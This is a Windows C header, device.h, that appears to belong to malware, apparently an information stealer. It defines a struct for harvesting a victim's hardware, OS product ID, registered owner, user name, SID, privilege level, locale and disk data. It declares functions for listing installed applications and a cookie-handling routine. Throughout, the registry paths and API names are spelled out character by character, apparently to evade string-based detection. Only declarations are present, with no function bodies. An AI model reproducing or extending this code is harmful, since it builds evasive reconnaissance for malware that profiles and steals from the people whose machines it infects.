#include <Windows.h>

#ifndef _DEVICE_H
#define _DEVICE_H

#define SOFTW_MICROS_WINNT_CURRVER { L'S', L'O', L'F', L'T', L'W', L'A', L'R', L'E', L'\\', L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L' ', L'N', L'T', L'\\', L'C', L'u', L'r', L'r', L'e', L'n', L't', L'V', L'e', L'r', L's', L'i', L'o', L'n', L'\0' };
#define HWD_DESC_SYS_CENTRALPROC_0 { L'H', L'A', L'R', L'D', L'W', L'A', L'R', L'E', L'\\', L'D', L'E', L'S', L'C', L'R', L'I', L'P', L'T', L'I', L'O', L'N', L'\\', L'S', L'y', L's', L't', L'e', L'm', L'\\', L'C', L'e', L'n', L't', L'r', L'a', L'l', L'P', L'r', L'o', L'c', L'e', L's', L's', L'o', L'r', '\\', '0', L'\0' };
#define SYSTEM_CURRCON_CONTROL_TIMEZONE { L'S', L'Y', L'S', L'T', L'E', L'M', L'\\', L'C', L'u', L'r', L'r', L'e', L'n', L't', L'C', L'o', L'n', L't', L'r', L'o', L'l', L'S', L'e', L't', L'\\', L'C', L'o', L'n', L't', L'r', L'o', L'l', L'\\', L'T', L'i', L'm', L'e', L'Z', L'o', L'n', L'e', L'I', L'n', L'f', L'o', L'r', L'm', L'a', L't', L'i', L'o', L'n', L'\0', };
#define SOFTWARE_MICROSOFT_WIN_CURR_UNINSTALL { L'S', L'O', L'F', L'T', L'W', L'A', L'R', L'E', L'\\', L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L'\\', L'C', L'u', L'r', L'r', L'e', L'n', L't', L'V', L'e', L'r', L's', L'i', L'o', L'n', L'\\', L'U', L'n', L'i', L'n', L's', L't', L'a', L'l', L'l', L'\0' };
#define SOFTWARE_MICROSOFT_WINNT_CURR_TIMEZONES { L'S', L'O', L'F', L'T', L'W', L'A', L'R', L'E', L'\\', L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L' ', L'N', L'T', L'\\', L'C', L'u', L'r', L'r', L'e', L'n', L't', L'V', L'e', L'r', L's', L'i', L'o', L'n', L'\\', L'T', L'i', L'm', L'e', L' ', L'Z', L'o', L'n', L'e', L's', L'\0' };

#define PROCESSOR_NAME_STRING { L'P', L'r', L'o', L'c', L'e', L's', L's', L'o', L'r', L'N', L'a', L'm', L'e', L'S', L't', L'r', L'i', L'n', L'g', L'\0' };
#define PRODUCT_NAME { L'P', L'r', L'o', L'd', L'u', L'c', L't', L'N', L'a', L'm', L'e', L'\0' };
#define CSD_VERSION { L'C', L'S', L'D', L'V', L'e', L'r', L's', L'i', L'o', L'n', L'\0' };
#define PRODUCT_ID { L'P', L'r', L'o', L'd', L'u', L'c', L't', L'I', L'd', L'\0' };
#define REGISTERED_OWNER { L'R', L'e', L'g', L'i', L's', L't', L'e', L'r', L'e', L'd', L'O', L'w', L'n', L'e', L'r', L'\0' };
#define REGISTERED_ORG { L'R', L'e', L'g', L'i', L's', L't', L'e', L'r', L'e', L'd', L'O', L'r', L'g', L'a', L'n', L'i', L'z', L'a', L't', L'i', L'o', L'n', L'\0' };
#define ACTIVE_TIME_BIAS { L'A', L'c', L't', L'i', L'v', L'e', L'T', L'i', L'm', L'e', L'B', L'i', L'a', L's', L'\0' };
#define PARENT_KEY_NAME { 'P', L'a', L'r', L'e', L'n', L't', L'K', L'e', L'y', L'N', L'a', L'm', L'e', L'\0' };
#define SYSTEM_COMPONENT { L'S', L'y', L's', L't', L'e', L'm', L'C', L'o', L'm', L'p', L'o', L'n', L'e', L'n', L't', L'\0' };
#define DISPLAY_NAME { L'D', L'i', L's', L'p', L'l', L'a', L'y', L'N', L'a', L'm', L'e', L'\0' };
#define DISPLAY_VERSION { L'D', L'i', L's', L'p', L'l', L'a', L'y', L'V', L'e', L'r', L's', L'i', L'o', L'n', L'\0' };
#define TMZ_KEY_NAME { L'T', L'i', L'm', L'e', L'Z', L'o', L'n', L'e', L'K', L'e', L'y', L'N', L'a', L'm', L'e', L'\0' };
#define TMZ_DESCRIPTION { L'D', L'i', L's', L'p', L'l', L'a', L'y', L'\0' };

#define NETAPI32 { L'N', L'e', L't', L'a', L'p', L'i', L'3', L'2', L'\0' };
#define NETUSERGETINFO { L'N', L'e', L't', L'U', L's', L'e', L'r', L'G', L'e', L't', L'I', L'n', L'f', L'o', L'\0' };
#define NETAPIBUFFERFREE { 'N', 'e', 't', 'A', 'p', 'i', 'B', 'u', 'f', 'f', 'e', 'r', 'F', 'r', 'e', 'e', 0x0 };
#define GETDISKFREESPACEEX { 'G', 'e', 't', 'D', 'i', 's', 'k', 'F', 'r', 'e', 'e', 'S', 'p', 'a', 'c', 'e', 'E', 'x', 'W', 0x0 };

#define APPLICATION_LIST_X86 { L'A', L'p', L'p', L'l', L'i', L'c', L'a', L't', L'i', L'o', L'n', L' ', L'L', L'i', L's', L't', L' ', L'(', L'x', L'8', L'6', L')', L':', L'\n', L'\n', L'\0' }
#define APPLICATION_LIST_X64 { L'A', L'p', L'p', L'l', L'i', L'c', L'a', L't', L'i', L'o', L'n', L' ', L'L', L'i', L's', L't', L' ', L'(', L'x', L'6', L'4', L')', L':', L'\n', L'\n', L'\0' }

typedef struct _DEVICE_INFO
{
	struct {
		WCHAR proc[128];		// Processor description
		ULONG procnum;			// Number of processors
	} procinfo;
	struct {
		ULONG memtotal;			// Total physical memory (MB)
		ULONG memfree;			// Free physical memory (MB)
		DWORD memload;			// Memory load percentage
	} meminfo;
	struct {
		WCHAR ver[64];			// Windows version description
		WCHAR sp[64];			// Windows service pack description
		WCHAR id[64];			// Windows product ID
		WCHAR owner[64];		// Registered owner
		WCHAR org[64];			// Registered organization
	} osinfo;
	struct {
		WCHAR username[64];		// Name
		WCHAR fullname[64];		// Fullname
		WCHAR sid[64];			// SID
		ULONG priv;				// Privilege level (USER_PRIV_GUEST, USER_PRIV_USER, USER_PRIV_ADMIN)
	} userinfo;
	struct {
		ULONG timebias;			// Time bias from UTC (min)
		WCHAR lang[16];			// Language name
		WCHAR country[16];		// Country name
		WCHAR timezone[128];     // timezone description
	} localinfo;
	struct {
		ULONG disktotal;		// Total disk space (MB)
		ULONG diskfree;			// Free disk space (MB)
	} diskinfo;
} DEVICE_INFO, *PDEVICE_INFO;

typedef struct _DEVICE_CONTAINER
{
	ULONG uSize;
	LPWSTR pDataBuffer;
} DEVICE_CONTAINER, *PDEVICE_CONTAINER;

VOID GetDeviceInfo();
LPWSTR GetAppList();
VOID IsX64System(PBOOL bIsWow64, PBOOL bIsx64OS);
DWORD GoogleDeviceHandler(LPSTR pszCookie);

#endif


